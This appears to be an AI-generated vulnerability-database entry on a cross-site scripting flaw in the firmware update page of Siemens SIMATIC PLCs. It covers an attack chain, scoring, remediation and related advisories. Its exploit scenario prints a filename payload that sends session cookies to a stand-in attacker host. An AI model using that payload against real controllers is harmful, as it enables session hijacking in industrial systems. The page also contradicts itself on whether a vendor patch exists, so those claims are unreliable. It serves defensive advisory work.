EUVD-2026-29428
GHSA-r662-c7v7-m9h4
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconGain network access to OT segment
-
DeliveryAuthenticate to web management interface
-
ExploitCraft firmware file with XSS payload in filename
-
InstallSocial engineer administrator to select malicious file
-
C2Execute JavaScript in admin session
-
ExecuteExfiltrate session tokens or credentials
-
ImpactHijack administrative session
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access with privileges sufficient to reach the web-based firmware update interface (PR:L indicates low-privilege authentication, typically any authenticated user with access to the management web server). Attack depends on successful social engineering to manipulate the authenticated user into selecting the attacker-crafted filename on the firmware upload page (UI:R mandatory). Victim must use web browser to access the controller's management interface rather than TIA Portal or other engineering tools. The malicious filename must be made accessible to the target administrator through file sharing, email, removable media, or compromised engineering workstation. Exploitation is limited by network access controls-if management interfaces are properly segmented to isolated OT networks accessible only via jump hosts or VPN with MFA, attack surface is substantially reduced. High attack complexity (AC:H) reflects these compounding prerequisites: network positioning, valid credentials, social engineering success, and user interaction during firmware update workflow. |
| Impact | The CVSS 3.1 score of 7.1 (High) reflects multiple mitigating factors that reduce real-world exploitability compared to typical web application XSS. Attack vector is network-based (AV:N) but requires high attack complexity (AC:H) due to social engineering prerequisites, low-privilege authentication (PR:L), and required user interaction (UI:R). The vulnerability requires the attacker to first convince an authenticated administrator to navigate to the firmware update page and select a maliciously-named file, making this a multi-stage attack rather than direct exploitation. Impact scope is unchanged (S:U), meaning compromise is limited to the vulnerable component rather than adjacent systems. Despite high confidentiality, integrity, and availability impacts (C:H/I:H/A:H), the practical exploitation barrier is substantial. No EPSS score provided to assess likelihood of exploitation attempts. No CISA KEV listing indicates this is not confirmed as actively exploited in the wild. The primary risk is in targeted attacks against organizations where social engineering against ICS administrators is feasible, particularly in environments where firmware updates are frequent or where attackers have insider knowledge of operational patterns. For most organizations, this represents lower priority than unauthenticated or easily automatable vulnerabilities, despite the High CVSS rating. The industrial control system context elevates concern due to potential operational disruption, but the authentication and social engineering requirements provide significant defensive layers. |
| Exploit ScenarioDerived | An attacker with low-privilege network access to the SIMATIC controller's web interface creates a firmware file with a malicious filename containing JavaScript payloads (e.g., '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>.bin'). Through social engineering-such as posing as a vendor support technician, disguising the file as a critical security update via phishing email, or leaving the file on a shared engineering workstation-the attacker convinces an authenticated administrator to navigate to the firmware update page and select this file. When the administrator views the file selection interface, the unsanitized filename executes in their browser, exfiltrating session cookies or credentials to attacker-controlled infrastructure, enabling full takeover of the administrator session and subsequent unauthorized control over the industrial automation system. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 12, 2026
Cross-site scripting (XSS) in Siemens SIMATIC S7-1500 PLC family firmware upload interface allows authenticated attackers to execute malicious JavaScript in administrator sessions via crafted filenames. This stored XSS requires social engineering to trick authenticated users into selecting the attacker-supplied firmware file on the web-based management interface. Successful exploitation enables session hijacking and credential theft without requiring the malicious file to be uploaded. EPSS data not provided, no CISA KEV status confirmed, affecting industrial automation controllers widely deployed in critical infrastructure environments.
RemediationAI
Apply firmware updates as specified in Siemens ProductCERT advisory SSA-688146 available at https://cert-portal.siemens.com/productcert/html/ssa-688146.html. The advisory provides specific patched firmware versions for each affected CPU model and variant. Until patching is completed, implement strict administrative controls limiting firmware update operations to trusted personnel only, enforce multi-person approval processes for firmware changes, and conduct security awareness training emphasizing risks of selecting files from untrusted sources during firmware updates. Network segmentation should isolate PLC management interfaces from general corporate networks using dedicated management VLANs or jump hosts with enhanced monitoring. Disable web-based management interfaces if command-line or TIA Portal-based firmware update methods are available and preferred in your environment. Monitor authentication logs and firmware update attempts for suspicious patterns. Note that disabling web interfaces may impact operational convenience and remote management capabilities, requiring assessment of operational trade-offs. As this is a stored XSS requiring file interaction rather than automated exploitation, behavioral controls and user training provide meaningful risk reduction while patches are being deployed across industrial environments where change windows are limited.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability stems from improper input validation (CWE-79: Cross-Site Scripting) in the web-based firmware update interface of Siemens SIMATIC controllers. The affected product line includes S7-1500 CPUs, ET 200SP distributed I/O controllers, SIMATIC Drive Controllers, and Software Controllers running on Linux. These are programmable logic controllers (PLCs) used in industrial automation and SCADA systems. The firmware update mechanism accepts user-supplied filenames without proper sanitization, allowing JavaScript injection through specially crafted filename strings. When an authenticated administrator views the firmware selection interface, the unsanitized filename is rendered in their browser context, triggering script execution. The CPE strings indicate broad impact across multiple hardware variants (CPU models 1510SP through 1518, including safety-rated F-variants and technology T-variants) and virtualized software controller implementations. This affects both current-generation V3/V4 firmware and legacy V2 systems.
Know when Simatic Et 200Sp Cpu 1510Sp F 1 Pn gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:A/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H
Primary rating from Vendor (siemens) · only source for this CVE.
CVSS VectorVendor: siemens
Lifecycle Timeline
2DescriptionCVE.org
Affected devices do not properly validate and sanitize filenames on the Firmware Update page. This could allow a remote attacker to social engineer the user into selecting the modified firmware file to be uploaded. This would result in malitcious JavaScript execution in the context of the authenticated user's session without requiring the file to be uploaded, potentially leading to session hijacking or credential theft.
Executive ViewAI
Siemens SIMATIC S7-1500 PLC controllers contain a stored cross-site scripting vulnerability in the firmware upload interface that allows authenticated attackers to hijack administrator sessions and steal credentials through social engineering. This impacts industrial automation systems in critical infrastructure environments where these controllers manage operational technology, creating risk of unauthorized access to supervisory control systems without requiring successful file upload.
No vendor-released patch identified at time of analysis. Implement network-layer mitigations: restrict firmware upload interface access via firewall rules to trusted administrative networks only; deploy HTTP inspection to block javascript in filename parameters; enforce administrative access through jump hosts with session logging; disable web management interface if firmware updates can be performed through alternative secure methods; require administrator approval workflow for all firmware operations with secondary verification before execution.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Stored cross-site scripting (XSS) in Siemens SIMATIC S7-1500 and ET 200SP controller families allows authenticated attac
Stored cross-site scripting in Siemens SIMATIC S7-1500 controller family web interface allows authenticated high-privile
Denial of service in Siemens industrial networking equipment allows remote unauthenticated attackers to crash affected d
Cross-site scripting in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP, and SIMATIC Drive Controller CPU
Stored cross-site scripting in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP, Drive Controller and S7-1
Importing a maliciously crafted trace file into the integrated web server of a Siemens SIMATIC S7-1500 (and closely rela
Stored cross-site scripting (CWE-79) in the integrated web server Trace page of Siemens SIMATIC S7-1500, ET 200SP, and S
Reflected cross-site scripting in the integrated web server of a broad range of Siemens SIMATIC S7-1500, ET 200SP, and D
Stored/DOM cross-site scripting (CWE-79, CVSS 6.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) in the web-based Trace
Cross-site scripting (CWE-79) in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP, and SIMATIC Drive Contr
Stored cross-site scripting in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP and SIMATIC Drive Controll
Exploit-DB